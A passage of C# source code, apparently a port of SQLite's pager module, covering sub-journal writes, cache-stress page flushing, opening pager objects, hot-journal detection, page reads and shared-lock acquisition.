responsibility to use subjRequiresPage() to check\n        ** that it is really required before calling this function.\n        **\n        ** If successful, set the bit corresponding to pPg.pgno in the bitvecs\n        ** for all open savepoints before returning.\n        **\n        ** This function returns SQLITE_OK if everything is successful, an IO\n        ** error code if the attempt to write to the sub-journal fails, or\n        ** SQLITE_NOMEM if a malloc fails while setting a bit in a savepoint\n        ** bitvec.\n        */\n        static int subjournalPage(PgHdr pPg)\n        {\n            int rc = SQLITE_OK;\n            Pager pPager = pPg.pPager;\n            if (isOpen(pPager.sjfd))\n            {\n                byte[] pData = pPg.pData;\n                i64 offset = pPager.nSubRec * (4 + pPager.pageSize);\n                byte[] pData2 = null;\n\n                CODEC2(pPager, pData, pPg.pgno, 7, SQLITE_NOMEM, ref pData2);//CODEC2(pPager, pData, pPg.pgno, 7, return SQLITE_NOMEM, pData2);\n                PAGERTRACE(\"STMT-JOURNAL %d page %d\\n\", PAGERID(pPager), pPg.pgno);\n                Debug.Assert(pageInJournal(pPg) || pPg.pgno > pPager.dbOrigSize);\n                rc = write32bits(pPager.sjfd, offset, pPg.pgno);\n                if (rc == SQLITE_OK)\n                {\n                    rc = sqlite3OsWrite(pPager.sjfd, pData2, pPager.pageSize, offset + 4);\n                }\n            }\n            if (rc == SQLITE_OK)\n            {\n                pPager.nSubRec++;\n                Debug.Assert(pPager.nSavepoint > 0);\n                rc = addToSavepointBitvecs(pPager, pPg.pgno);\n            }\n            return rc;\n        }\n\n        /*\n        ** This function is called by the pcache layer when it has reached some\n        ** soft memory limit. The first argument is a pointer to a Pager object\n        ** (cast as a void*). The pager is always 'purgeable' (not an in-memory\n        ** database). The second argument is a reference to a page that is\n        ** currently dirty but has no outstanding references. The page\n        ** is always associated with the Pager object passed as the first\n        ** argument.\n        **\n        ** The job of this function is to make pPg clean by writing its contents\n        ** out to the database file, if possible. This may involve syncing the\n        ** journal file.\n        **\n        ** If successful, sqlite3PcacheMakeClean() is called on the page and\n        ** SQLITE_OK returned. If an IO error occurs while trying to make the\n        ** page clean, the IO error code is returned. If the page cannot be\n        ** made clean for some other reason, but no error occurs, then SQLITE_OK\n        ** is returned by sqlite3PcacheMakeClean() is not called.\n        */\n        static int pagerStress(object p, PgHdr pPg)\n        {\n            Pager pPager = (Pager)p;\n            int rc = SQLITE_OK;\n\n            Debug.Assert(pPg.pPager == pPager);\n            Debug.Assert((pPg.flags & PGHDR_DIRTY) != 0);\n\n            /* The doNotSync flag is set by the sqlite3PagerWrite() function while it\n            ** is journalling a set of two or more database pages that are stored\n            ** on the same disk sector. Syncing the journal is not allowed while\n            ** this is happening as it is important that all members of such a\n            ** set of pages are synced to disk together. So, if the page this function\n            ** is trying to make clean will require a journal sync and the doNotSync\n            ** flag is set, return without doing anything. The pcache layer will\n            ** just have to go ahead and allocate a new page buffer instead of\n            ** reusing pPg.\n            **\n            ** Similarly, if the pager has already entered the error state, do not\n            ** try to write the contents of pPg to disk.\n            */\n            if (NEVER(pPager.errCode != 0)\n             || (pPager.doNotSync && (pPg.flags & PGHDR_NEED_SYNC) != 0)\n            )\n            {\n                return SQLITE_OK;\n            }\n\n            /* Sync the journal file if required. */\n            if ((pPg.flags & PGHDR_NEED_SYNC) != 0)\n            {\n                rc = syncJournal(pPager);\n                if (rc == SQLITE_OK && pPager.fullSync &&\n                !(pPager.journalMode == PAGER_JOURNALMODE_MEMORY) &&\n                0 == (sqlite3OsDeviceCharacteristics(pPager.fd) & SQLITE_IOCAP_SAFE_APPEND)\n                )\n                {\n                    pPager.nRec = 0;\n                    rc = writeJournalHdr(pPager);\n                }\n            }\n\n            /* If the page number of this page is larger than the current size of\n            ** the database image, it may need to be written to the sub-journal.\n            ** This is because the call to pager_write_pagelist() below will not\n            ** actually write data to the file in this case.\n            **\n            ** Consider the following sequence of events:\n            **\n            **   BEGIN;\n            **     <journal page X>\n            **     <modify page X>\n            **     SAVEPOINT sp;\n            **       <shrink database file to Y pages>\n            **       pagerStress(page X)\n            **     ROLLBACK TO sp;\n            **\n            ** If (X>Y), then when pagerStress is called page X will not be written\n            ** out to the database file, but will be dropped from the cache. Then,\n            ** following the \"ROLLBACK TO sp\" statement, reading page X will read\n            ** data from the database file. This will be the copy of page X as it\n            ** was when the transaction started, not as it was when \"SAVEPOINT sp\"\n            ** was executed.\n            **\n            ** The solution is to write the current data for page X into the\n            ** sub-journal file now (if it is not already there), so that it will\n            ** be restored to its current value when the \"ROLLBACK TO sp\" is\n            ** executed.\n            */\n            if (NEVER(\n                 rc == SQLITE_OK && pPg.pgno > pPager.dbSize && subjRequiresPage(pPg)\n             ))\n            {\n                rc = subjournalPage(pPg);\n            }\n\n            /* Write the contents of the page out to the database file. */\n            if (rc == SQLITE_OK)\n            {\n                pPg.pDirty = null;\n                rc = pager_write_pagelist(pPg);\n            }\n\n            /* Mark the page as clean. */\n            if (rc == SQLITE_OK)\n            {\n                PAGERTRACE(\"STRESS %d page %d\\n\", PAGERID(pPager), pPg.pgno);\n                sqlite3PcacheMakeClean(pPg);\n            }\n\n            return pager_error(pPager, rc);\n        }\n\n\n        /*\n        ** Allocate and initialize a new Pager object and put a pointer to it\n        ** in *ppPager. The pager should eventually be freed by passing it\n        ** to sqlite3PagerClose().\n        **\n        ** The zFilename argument is the path to the database file to open.\n        ** If zFilename is NULL then a randomly-named temporary file is created\n        ** and used as the file to be cached. Temporary files are be deleted\n        ** automatically when they are closed. If zFilename is \":memory:\" then\n        ** all information is held in cache. It is never written to disk.\n        ** This can be used to implement an in-memory database.\n        **\n        ** The nExtra parameter specifies the number of bytes of space allocated\n        ** along with each page reference. This space is available to the user\n        ** via the sqlite3PagerGetExtra() API.\n        **\n        ** The flags argument is used to specify properties that affect the\n        ** operation of the pager. It should be passed some bitwise combination\n        ** of the PAGER_OMIT_JOURNAL and PAGER_NO_READLOCK flags.\n        **\n        ** The vfsFlags parameter is a bitmask to pass to the flags parameter\n        ** of the xOpen() method of the supplied VFS when opening files.\n        **\n        ** If the pager object is allocated and the specified file opened\n        ** successfully, SQLITE_OK is returned and *ppPager set to point to\n        ** the new pager object. If an error occurs, *ppPager is set to NULL\n        ** and error code returned. This function may return SQLITE_NOMEM\n        ** (sqlite3Malloc() is used to allocate memory), SQLITE_CANTOPEN or\n        ** various SQLITE_IO_XXX errors.\n        */\n        static int sqlite3PagerOpen(\n        sqlite3_vfs pVfs,        /* The virtual file system to use */\n        ref Pager ppPager,       /* OUT: Return the Pager structure here */\n        string zFilename,        /* Name of the database file to open */\n        int nExtra,              /* Extra bytes append to each in-memory page */\n        int flags,               /* flags controlling this file */\n        int vfsFlags,            /* flags passed through to sqlite3_vfs.xOpen() */\n        dxReiniter xReinit       /* Function to reinitialize pages */\n        )\n        {\n            u8 pPtr;\n            Pager pPager = null;     /* Pager object to allocate and return */\n            int rc = SQLITE_OK;      /* Return code */\n            u8 tempFile = 0;         /* True for temp files (incl. in-memory files) */ // Needs to be u8 for later tests\n            u8 memDb = 0;            /* True if this is an in-memory file */\n            bool readOnly = false;   /* True if this is a read-only file */\n            int journalFileSize;     /* Bytes to allocate for each journal fd */\n            StringBuilder zPathname = null; /* Full path to database file */\n            int nPathname = 0;       /* Number of bytes in zPathname */\n            bool useJournal = (flags & PAGER_OMIT_JOURNAL) == 0; /* False to omit journal */\n            bool noReadlock = (flags & PAGER_NO_READLOCK) != 0;  /* True to omit read-lock */\n            int pcacheSize = sqlite3PcacheSize();       /* Bytes to allocate for PCache */\n            u16 szPageDflt = SQLITE_DEFAULT_PAGE_SIZE;  /* Default page size */\n\n            /* Figure out how much space is required for each journal file-handle\n            ** (there are two of them, the main journal and the sub-journal). This\n            ** is the maximum space required for an in-memory journal file handle\n            ** and a regular journal file-handle. Note that a \"regular journal-handle\"\n            ** may be a wrapper capable of caching the first portion of the journal\n            ** file in memory to implement the atomic-write optimization (see\n            ** source file journal.c).\n            */\n            if (sqlite3JournalSize(pVfs) > sqlite3MemJournalSize())\n            {\n                journalFileSize = ROUND8(sqlite3JournalSize(pVfs));\n            }\n            else\n            {\n                journalFileSize = ROUND8(sqlite3MemJournalSize());\n            }\n\n            /* Set the output variable to NULL in case an error occurs. */\n            ppPager = null;\n\n            /* Compute and store the full pathname in an allocated buffer pointed\n            ** to by zPathname, length nPathname. Or, if this is a temporary file,\n            ** leave both nPathname and zPathname set to 0.\n            */\n            if (!String.IsNullOrEmpty(zFilename))\n            {\n                nPathname = pVfs.mxPathname + 1;\n                zPathname = new StringBuilder(nPathname * 2);// sqlite3Malloc( nPathname * 2 );\n                if (zPathname == null)\n                {\n                    return SQLITE_NOMEM;\n                }\n#if !SQLITE_OMIT_MEMORYDB\n                if (zFilename == \":memory:\")//if( strcmp(zFilename,\":memory:\")==null )\n                {\n                    memDb = 1;\n                    zPathname.Length = 0;\n                }\n                else\n#endif\n                {\n                    //zPathname[0] = 0; /* Make sure initialized even if FullPathname() fails */\n                    rc = sqlite3OsFullPathname(pVfs, zFilename, nPathname, zPathname);\n                }\n\n                nPathname = sqlite3Strlen30(zPathname);\n                if (rc == SQLITE_OK && nPathname + 8 > pVfs.mxPathname)\n                {\n                    /* This branch is taken when the journal path required by\n                    ** the database being opened will be more than pVfs.mxPathname\n                    ** bytes in length. This means the database cannot be opened,\n                    ** as it will not be possible to open the journal file or even\n                    ** check for a hot-journal before reading.\n                    */\n                    rc = SQLITE_CANTOPEN;\n                }\n                if (rc != SQLITE_OK)\n                {\n                    //sqlite3_free( ref zPathname );\n                    return rc;\n                }\n            }\n\n            /* Allocate memory for the Pager structure, PCache object, the\n            ** three file descriptors, the database file name and the journal\n            ** file name. The layout in memory is as follows:\n            **\n            **     Pager object                    (sizeof(Pager) bytes)\n            **     PCache object                   (sqlite3PcacheSize() bytes)\n            **     Database file handle            (pVfs.szOsFile bytes)\n            **     Sub-journal file handle         (journalFileSize bytes)\n            **     Main journal file handle        (journalFileSize bytes)\n            **     Database file name              (nPathname+1 bytes)\n            **     Journal file name               (nPathname+8+1 bytes)\n            */\n            //pPtr = (u8 *)sqlite3MallocZero(\n            //  ROUND8(sizeof(*pPager)) +           /* Pager structure */\n            //  ROUND8(pcacheSize)      +           /* PCache object */\n            //  ROUND8(pVfs.szOsFile)   +           /* The main db file */\n            //  journalFileSize * 2 +       /* The two journal files */\n            //  nPathname + 1 +             /* zFilename */\n            //  nPathname + 8 + 1           /* zJournal */\n            //);\n            //  assert( EIGHT_BYTE_ALIGNMENT(SQLITE_INT_TO_PTR(journalFileSize)));\n            //if( !pPtr ){\n            //  //sqlite3_free(zPathname);\n            //  return SQLITE_NOMEM;\n            //}\n            pPager = new Pager();//(Pager*)(pPtr);\n            pPager.pPCache = new PCache();//(PCache*)(pPtr += ROUND8(sizeof(*pPager)));\n            pPager.fd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pcacheSize));\n            pPager.sjfd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pVfs->szOsFile));\n            pPager.jfd = new sqlite3_file();//(sqlite3_file*)(pPtr += journalFileSize);\n                                            //pPager.zFilename =    (char*)(pPtr += journalFileSize);\n                                            //assert( EIGHT_BYTE_ALIGNMENT(pPager->jfd) );\n\n            /* Fill in the Pager.zFilename and Pager.zJournal buffers, if required. */\n            if (zPathname != null)\n            {\n                //pPager.zJournal =   (char*)(pPtr += nPathname + 1);\n                //memcpy(pPager.zFilename, zPathname, nPathname);\n                pPager.zFilename = zPathname.ToString();\n                //memcpy(pPager.zJournal, zPathname, nPathname);\n                //memcpy(&pPager.zJournal[nPathname], \"-journal\", 8);\n                pPager.zJournal = pPager.zFilename + \"-journal\";\n                if (pPager.zFilename.Length == 0) pPager.zJournal = \"\";\n                //sqlite3_free( ref zPathname );\n            }\n            else\n            {\n                pPager.zFilename = \"\";\n            }\n            pPager.pVfs = pVfs;\n            pPager.vfsFlags = (u32)vfsFlags;\n\n            /* Open the pager file.\n            */\n            if (!String.IsNullOrEmpty(zFilename) && 0 == memDb)\n            {\n                int fout = 0;                    /* VFS flags returned by xOpen() */\n                rc = sqlite3OsOpen(pVfs, pPager.zFilename, pPager.fd, vfsFlags, ref fout);\n                readOnly = (fout & SQLITE_OPEN_READONLY) != 0;\n\n                /* If the file was successfully opened for read/write access,\n                ** choose a default page size in case we have to create the\n                ** database file. The default page size is the maximum of:\n                **\n                **    + SQLITE_DEFAULT_PAGE_SIZE,\n                **    + The value returned by sqlite3OsSectorSize()\n                **    + The largest page size that can be written atomically.\n                */\n                if (rc == SQLITE_OK && !readOnly)\n                {\n                    setSectorSize(pPager);\n                    Debug.Assert(SQLITE_DEFAULT_PAGE_SIZE <= SQLITE_MAX_DEFAULT_PAGE_SIZE);\n                    if (szPageDflt < pPager.sectorSize)\n                    {\n                        if (pPager.sectorSize > SQLITE_MAX_DEFAULT_PAGE_SIZE)\n                        {\n                            szPageDflt = SQLITE_MAX_DEFAULT_PAGE_SIZE;\n                        }\n                        else\n                        {\n                            szPageDflt = (u16)pPager.sectorSize;\n                        }\n                    }\n#if SQLITE_ENABLE_ATOMIC_WRITE\n{\nint iDc = sqlite3OsDeviceCharacteristics(pPager.fd);\nint ii;\nDebug.Assert(SQLITE_IOCAP_ATOMIC512==(512>>8));\nDebug.Assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8));\nDebug.Assert(SQLITE_MAX_DEFAULT_PAGE_SIZE<=65536);\nfor(ii=szPageDflt; ii<=SQLITE_MAX_DEFAULT_PAGE_SIZE; ii=ii*2){\nif( iDc&(SQLITE_IOCAP_ATOMIC|(ii>>8)) ){\nszPageDflt = ii;\n}\n}\n}\n#endif\n                }\n            }\n            else\n            {\n                /* If a temporary file is requested, it is not opened immediately.\n                ** In this case we accept the default page size and delay actually\n                ** opening the file until the first call to OsWrite().\n                **\n                ** This branch is also run for an in-memory database. An in-memory\n                ** database is the same as a temp-file that is never written out to\n                ** disk and uses an in-memory rollback journal.\n                */\n                tempFile = 1;\n                pPager.state = PAGER_EXCLUSIVE;\n                readOnly = (vfsFlags & SQLITE_OPEN_READONLY) != 0;\n            }\n\n            /* The following call to PagerSetPagesize() serves to set the value of\n            ** Pager.pageSize and to allocate the Pager.pTmpSpace buffer.\n            */\n            if (rc == SQLITE_OK)\n            {\n                Debug.Assert(pPager.memDb == 0);\n                rc = sqlite3PagerSetPagesize(pPager, ref szPageDflt, -1);\n                testcase(rc != SQLITE_OK);\n            }\n\n            /* If an error occurred in either of the blocks above, free the\n            ** Pager structure and close the file.\n            */\n            if (rc != SQLITE_OK)\n            {\n                Debug.Assert(null == pPager.pTmpSpace);\n                sqlite3OsClose(pPager.fd);\n                //sqlite3_free( ref pPager );\n                return rc;\n            }\n\n            /* Initialize the PCache object. */\n            Debug.Assert(nExtra < 1000);\n            nExtra = ROUND8(nExtra);\n            sqlite3PcacheOpen(szPageDflt, nExtra, 0 == memDb,\n            0 == memDb ? (dxStress)pagerStress : null, pPager, pPager.pPCache);\n\n            PAGERTRACE(\"OPEN %d %s\\n\", FILEHANDLEID(pPager.fd), pPager.zFilename);\n            IOTRACE(\"OPEN %p %s\\n\", pPager, pPager.zFilename);\n            pPager.useJournal = (u8)(useJournal ? 1 : 0);\n            pPager.noReadlock = (u8)(noReadlock && readOnly ? 1 : 0);\n            /* pPager.stmtOpen = 0; */\n            /* pPager.stmtInUse = 0; */\n            /* pPager.nRef = 0; */\n            pPager.dbSizeValid = memDb != 0;\n            /* pPager.stmtSize = 0; */\n            /* pPager.stmtJSize = 0; */\n            /* pPager.nPage = 0; */\n            pPager.mxPgno = SQLITE_MAX_PAGE_COUNT;\n            /* pPager.state = PAGER_UNLOCK; */\n            Debug.Assert(pPager.state == (tempFile != 0 ? PAGER_EXCLUSIVE : PAGER_UNLOCK));\n            /* pPager.errMask = 0; */\n            pPager.tempFile = tempFile != 0;\n            Debug.Assert(tempFile == PAGER_LOCKINGMODE_NORMAL\n            || tempFile == PAGER_LOCKINGMODE_EXCLUSIVE);\n            Debug.Assert(PAGER_LOCKINGMODE_EXCLUSIVE == 1);\n            pPager.exclusiveMode = tempFile != 0;\n            pPager.changeCountDone = pPager.tempFile;\n            pPager.memDb = memDb;\n            pPager.readOnly = readOnly;\n            /* pPager.needSync = 0; */\n            Debug.Assert(useJournal || pPager.tempFile);\n            pPager.noSync = pPager.tempFile;\n            pPager.fullSync = pPager.noSync;\n            pPager.sync_flags = SQLITE_SYNC_NORMAL;\n            /* pPager.pFirst = 0; */\n            /* pPager.pFirstSynced = 0; */\n            /* pPager.pLast = 0; */\n            pPager.nExtra = (u16)nExtra;\n            pPager.journalSizeLimit = SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT;\n            Debug.Assert(isOpen(pPager.fd) || tempFile != 0);\n            setSectorSize(pPager);\n            if (!useJournal)\n            {\n                pPager.journalMode = PAGER_JOURNALMODE_OFF;\n            }\n            else if (memDb != 0)\n            {\n                pPager.journalMode = PAGER_JOURNALMODE_MEMORY;\n            }\n            /* pPager.xBusyHandler = 0; */\n            /* pPager.pBusyHandlerArg = 0; */\n            pPager.xReiniter = xReinit;\n            /* memset(pPager.aHash, 0, sizeof(pPager.aHash)); */\n            ppPager = pPager;\n            return SQLITE_OK;\n        }\n\n\n\n        /*\n        ** This function is called after transitioning from PAGER_UNLOCK to\n        ** PAGER_SHARED state. It tests if there is a hot journal present in\n        ** the file-system for the given pager. A hot journal is one that\n        ** needs to be played back. According to this function, a hot-journal\n        ** file exists if the following criteria are met:\n        **\n        **   * The journal file exists in the file system, and\n        **   * No process holds a RESERVED or greater lock on the database file, and\n        **   * The database file itself is greater than 0 bytes in size, and\n        **   * The first byte of the journal file exists and is not 0x00.\n        **\n        ** If the current size of the database file is 0 but a journal file\n        ** exists, that is probably an old journal left over from a prior\n        ** database with the same name. In this case the journal file is\n        ** just deleted using OsDelete, *pExists is set to 0 and SQLITE_OK\n        ** is returned.\n        **\n        ** This routine does not check if there is a master journal filename\n        ** at the end of the file. If there is, and that master journal file\n        ** does not exist, then the journal file is not really hot. In this\n        ** case this routine will return a false-positive. The pager_playback()\n        ** routine will discover that the journal file is not really hot and\n        ** will not roll it back.\n        **\n        ** If a hot-journal file is found to exist, *pExists is set to 1 and\n        ** SQLITE_OK returned. If no hot-journal file is present, *pExists is\n        ** set to 0 and SQLITE_OK returned. If an IO error occurs while trying\n        ** to determine whether or not a hot-journal file exists, the IO error\n        ** code is returned and the value of *pExists is undefined.\n        */\n        static int hasHotJournal(Pager pPager, ref int pExists)\n        {\n            sqlite3_vfs pVfs = pPager.pVfs;\n            int rc;                       /* Return code */\n            int exists = 0;               /* True if a journal file is present */\n            Debug.Assert(pPager != null);\n            Debug.Assert(pPager.useJournal != 0);\n            Debug.Assert(pPager.state <= PAGER_SHARED);\n\n            pExists = 0;\n\n            rc = sqlite3OsAccess(pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref exists);\n            if (rc == SQLITE_OK && exists != 0)\n            {\n                int locked = 0;                 /* True if some process holds a RESERVED lock */\n\n                /* Race condition here:  Another process might have been holding the\n                ** the RESERVED lock and have a journal open at the sqlite3OsAccess()\n                ** call above, but then delete the journal and drop the lock before\n                ** we get to the following sqlite3OsCheckReservedLock() call.  If that\n                ** is the case, this routine might think there is a hot journal when\n                ** in fact there is none.  This results in a false-positive which will\n                ** be dealt with by the playback routine.  Ticket #3883.\n                */\n                rc = sqlite3OsCheckReservedLock(pPager.fd, ref locked);\n                if (rc == SQLITE_OK && locked == 0)\n                {\n                    int nPage = 0;\n\n                    /* Check the size of the database file. If it consists of 0 pages,\n                    ** then delete the journal file. See the header comment above for\n                    ** the reasoning here.  Delete the obsolete journal file under\n                    ** a RESERVED lock to avoid race conditions and to avoid violating\n                    ** [H33020].\n                    */\n                    rc = sqlite3PagerPagecount(pPager, ref nPage);\n                    if (rc == SQLITE_OK)\n                    {\n                        if (nPage == 0)\n                        {\n                            sqlite3BeginBenignMalloc();\n                            if (sqlite3OsLock(pPager.fd, RESERVED_LOCK) == SQLITE_OK)\n                            {\n                                sqlite3OsDelete(pVfs, pPager.zJournal, 0);\n                                sqlite3OsUnlock(pPager.fd, SHARED_LOCK);\n                            }\n                            sqlite3EndBenignMalloc();\n                        }\n                        else\n                        {\n                            /* The journal file exists and no other connection has a reserved\n                            ** or greater lock on the database file. Now check that there is\n                            ** at least one non-zero bytes at the start of the journal file.\n                            ** If there is, then we consider this journal to be hot. If not,\n                            ** it can be ignored.\n                            */\n                            int f = SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL;\n                            rc = sqlite3OsOpen(pVfs, pPager.zJournal, pPager.jfd, f, ref f);\n                            if (rc == SQLITE_OK)\n                            {\n                                u8[] first = new u8[1];\n                                rc = sqlite3OsRead(pPager.jfd, first, 1, 0);\n                                if (rc == SQLITE_IOERR_SHORT_READ)\n                                {\n                                    rc = SQLITE_OK;\n                                }\n                                sqlite3OsClose(pPager.jfd);\n                                pExists = (first[0] != 0) ? 1 : 0;\n                            }\n                            else if (rc == SQLITE_CANTOPEN)\n                            {\n                                /* If we cannot open the rollback journal file in order to see if\n                                ** its has a zero header, that might be due to an I/O error, or\n                                ** it might be due to the race condition described above and in\n                                ** ticket #3883.  Either way, assume that the journal is hot.\n                                ** This might be a false positive.  But if it is, then the\n                                ** automatic journal playback and recovery mechanism will deal\n                                ** with it under an EXCLUSIVE lock where we do not need to\n                                ** worry so much with race conditions.\n                                */\n                                pExists = 1;\n                                rc = SQLITE_OK;\n                            }\n                        }\n                    }\n                }\n            }\n            return rc;\n        }\n\n\n        /*\n        ** Read the content for page pPg out of the database file and into\n        ** pPg->pData. A shared lock or greater must be held on the database\n        ** file before this function is called.\n        **\n        ** If page 1 is read, then the value of Pager.dbFileVers[] is set to\n        ** the value read from the database file.\n        **\n        ** If an IO error occurs, then the IO error is returned to the caller.\n        ** Otherwise, SQLITE_OK is returned.\n        */\n        static int readDbPage(PgHdr pPg)\n        {\n            Pager pPager = pPg.pPager;   /* Pager object associated with page pPg */\n            Pgno pgno = pPg.pgno;        /* Page number to read */\n            int rc;                      /* Return code */\n            i64 iOffset;                 /* Byte offset of file to read from */\n#if SQLITE_OMIT_MEMORYDB\nDebug.Assert(  pPager.state>=PAGER_SHARED && 0==MEMDB );\n#endif\n            Debug.Assert(isOpen(pPager.fd));\n            Debug.Assert(pPager.fd.pMethods != null || pPager.tempFile);\n            if (NEVER(!isOpen(pPager.fd)))\n            {\n                Debug.Assert(pPager.tempFile);\n                pPg.pData = new u8[pPager.pageSize];//memset(pPg->pData, 0, pPager.pageSize);\n                return SQLITE_OK;\n            }\n            iOffset = (pgno - 1) * (i64)pPager.pageSize;\n            rc = sqlite3OsRead(pPager.fd, pPg.pData, pPager.pageSize, iOffset);\n            if (rc == SQLITE_IOERR_SHORT_READ)\n            {\n                rc = SQLITE_OK;\n            }\n            if (pgno == 1)\n            {\n                //u8 *dbFileVers = &((u8*)pPg->pData)[24];\n                //memcpy(&pPager.dbFileVers, dbFileVers, sizeof(pPager.dbFileVers));\n                Buffer.BlockCopy(pPg.pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length);\n            }\n#if SQLITE_HAS_CODEC\nCODEC1(pPager, pPg.pData, pPg.pgno, 3, rc = SQLITE_NOMEM);\n#endif\n#if SQLITE_TEST\n      int iValue;\n      iValue = sqlite3_pager_readdb_count.iValue;\n      PAGER_INCR( ref iValue );\n      sqlite3_pager_readdb_count.iValue = iValue;\n\n      PAGER_INCR( ref pPager.nRead );\n#endif\n            IOTRACE(\"PGIN %p %d\\n\", pPager, pgno);\n            PAGERTRACE(\"FETCH %d page %d hash(%08x)\\n\",\n            PAGERID(pPager), pgno, pager_pagehash(pPg));\n            return rc;\n        }\n\n\n        /*\n        ** This function is called to obtain a shared lock on the database file.\n        ** It is illegal to call sqlite3PagerAcquire() until after this function\n        ** has been successfully called. If a shared-lock is already held when\n        ** this function is called, it is a no-op.\n        **\n        ** The following operations are also performed by this function.\n        **\n        **   1) If the pager is currently in PAGER_UNLOCK state (no lock held\n        **      on the database file), then an attempt is made to obtain a\n        **      SHARED lock on the database file. Immediately after obtaining\n        **      the SHARED lock, the file-system is checked for a hot-journal,\n        **      which is played back if present. Following any hot-journal\n        **      rollback, the contents of the cache are validated by checking\n        **      the 'change-counter' field of the database file header and\n        **      discarded if they are found to be invalid.\n        **\n        **   2) If the pager is running in exclusive-mode, and there are currently\n        **      no outstanding references to any pages, and is in the error state,\n        **      then an attempt is made to clear the error state by discarding\n        **      the contents of the page cache and rolling back any open journal\n        **      file.\n        **\n        ** If the operation described by (2) above is not attempted, and if the\n        ** pager is in an error state other than SQLITE_FULL when this is called,\n        ** the error state error code is returned. It is permitted to read the\n        ** database when in SQLITE_FULL error state.\n        **\n        ** Otherwise, if everything is successful, SQLITE_OK is returned. If an\n        ** IO error occurs while locking the database, checking for a hot-journal\n        ** file or rolling back a journal file, the IO error code is returned.\n        */\n        static int sqlite3PagerSharedLock(Pager pPager)\n        {\n            int rc = SQLITE_OK;               /* Return code */\n            bool isErrorReset = false;        /* True if recovering from error state */\n\n            if (pPager.errCode != 0)\n            {\n                if (isOpen(pPager.jfd) || !String.IsNullOrEmpty(pPager.zJournal))\n                {\n                    isErrorReset = true;\n                }\n                pPager.errCode = SQLITE_OK;\n                pager_reset(pPager);\n            }\n\n            if (pPager.state == PAGER_UNLOCK || isErrorReset)\n            {\n                sqlite3_vfs pVfs = pPager.pVfs;\n                int isHotJournal = 0;\n                Debug.Assert(\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n );\n                Debug.Assert(sqlite3PcacheRefCount(pPager.pPCache) == 0);\n                if (pPager.noReadlock != 0)\n                {\n                    Debug.Assert(pPager.readOnly);\n                    pPager.state = PAGER_SHARED;\n                }\n                else\n                {\n                    rc = pager_wait_on_lock(pPager, SHARED_LOCK);\n                    if (rc != SQLITE_OK)\n                    {\n                        Debug.Assert(pPager.state == PAGER_UNLOCK);\n                        return pager_error(pPager, rc);\n                    }\n                }\n                Debug.Assert(pPager.state >= SHARED_LOCK);\n\n                /* If a journal file exists, and there is no RESERVED lock on the\n                ** database file, then it either needs to be played back or deleted.\n                */\n                if (!isErrorReset)\n                {\n                    Debug.Assert(pPager.state <= PAGER_SHARED);\n                    rc = hasHotJournal(pPager, ref isHotJournal);\n                    if (rc != SQLITE_OK)\n                    {\n                        goto failed;\n                    }\n                }\n                if (isErrorReset || isHotJournal != 0)\n                {\n                    /* Get an EXCLUSIVE lock on the database file. At this point it is\n                    ** important that a RESERVED lock is not obtained on the way to the\n                    ** EXCLUSIVE lock. If it were, another process might open the\n                    ** database file, detect the RESERVED lock, and conclude that the\n                    ** database is safe to read while this process is still rolling the\n                    ** hot-journal back.\n                    **\n                    ** Because the intermediate RESERVED lock is not requested, any\n                    ** other process attempting to access the database file will get to\n                    ** this point in the code and fail to obtain its own EXCLUSIVE lock\n                    ** on the database file.\n                    */\n                    if (pPager.state < EXCLUSIVE_LOCK)\n                    {\n                        rc = sqlite3OsLock(pPager.fd, EXCLUSIVE_LOCK);\n                        if (rc != SQLITE_OK)\n                        {\n                            rc = pager_error(pPager, rc);\n                            goto failed;\n                        }\n                        pPager.state = PAGER_EXCLUSIVE;\n                    }\n                    /* Open the journal for read/write access. This is because in\n                    ** exclusive-access mode the file descriptor will be kept open and\n                    ** possibly used for a transaction later on. On some systems, the\n                    ** OsTruncate() call used in exclusive-access mode also requires\n                    ** a read/write file handle.\n                    */\n                    if (!isOpen(pPager.jfd))\n                    {\n                        int res = 0;\n                        rc = sqlite3OsAccess(pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref res);\n                        if (rc == SQLITE_OK)\n                        {\n                            if (res != 0)\n                            {\n                                int fout = 0;\n                                int f = SQLITE_OPEN_READWRITE | SQLITE_OPEN_MAIN_JOURNAL;\n                                Debug.Assert(!pPager.tempFile);\n                                rc = sqlite3OsOpen(pVfs, pPager.zJournal, pPager.jfd, f, ref fout);\n                                Debug.Assert(rc != SQLITE_OK || isOpen(pPager.jfd));\n                                if (rc == SQLITE_OK && (fout & SQLITE_OPEN_READONLY) != 0)\n                                {\n                                    rc = SQLITE_CANTOPEN;\n                                    sqlite3OsClose(pPager.jfd);\n                                }\n                            }\n                            else\n                            {\n                                /* If the journal does not exist, it usually means that some\n                                ** other connection managed to get in and roll it back before\n                                ** this connection obtained the exclusive lock above. Or, it\n                                ** may mean that the pager was in the error-state when this\n                                ** function was called and the journal file does not exist.  */\n                                rc = pager_end_transaction(pPager, 0);\n                            }\n                        }\n                    }\n                    if (rc != SQLITE_OK)\n                    {\n                        goto failed;\n                    }\n\n                    /* TODO: Why are these cleared here? Is it necessary? */\n                    pPager.journalStarted = false;\n                    pPager.journalOff = 0;\n                    pPager.setMaster = 0;\n                    pPager.journalHdr = 0;\n\n                    /* Playback and delete the journal.  Drop the database write\n                    ** lock and reacquire the read lock. Purge the cache before\n                    ** playing back the hot-journal so that we don't end up with\n                    ** an inconsistent cache.\n                    */\n                    if (isOpen(pPager.jfd))\n                    {\n                        rc = pager_playback(pPager, 1);\n                        if (rc != SQLITE_OK)\n                        {\n                            rc = pager_error(pPager, rc);\n                            goto failed;\n                        }\n                    }\n                    Debug.Assert((pPager.state == PAGER_SHARED)\n                    || (pPager.exclusiveMode && pPager.state > PAGER_SHARED)\n                    );\n                }\n\n                if (pPager.pBackup != null || sqlite3PcachePagecount(pPager.pPCache) > 0)\n                {\n                    /* The shared-lock has just been acquired on the database file\n                    ** and there are already pages in the cache (from a previous\n                    ** read or write transaction).  Check to see if the database\n                    ** has been modified.  If the database has changed, flush the\n                    ** cache.\n                    **\n                    ** Database changes is detected by looking at 15 bytes beginning\n                    ** at offset 24 into the file.  The first 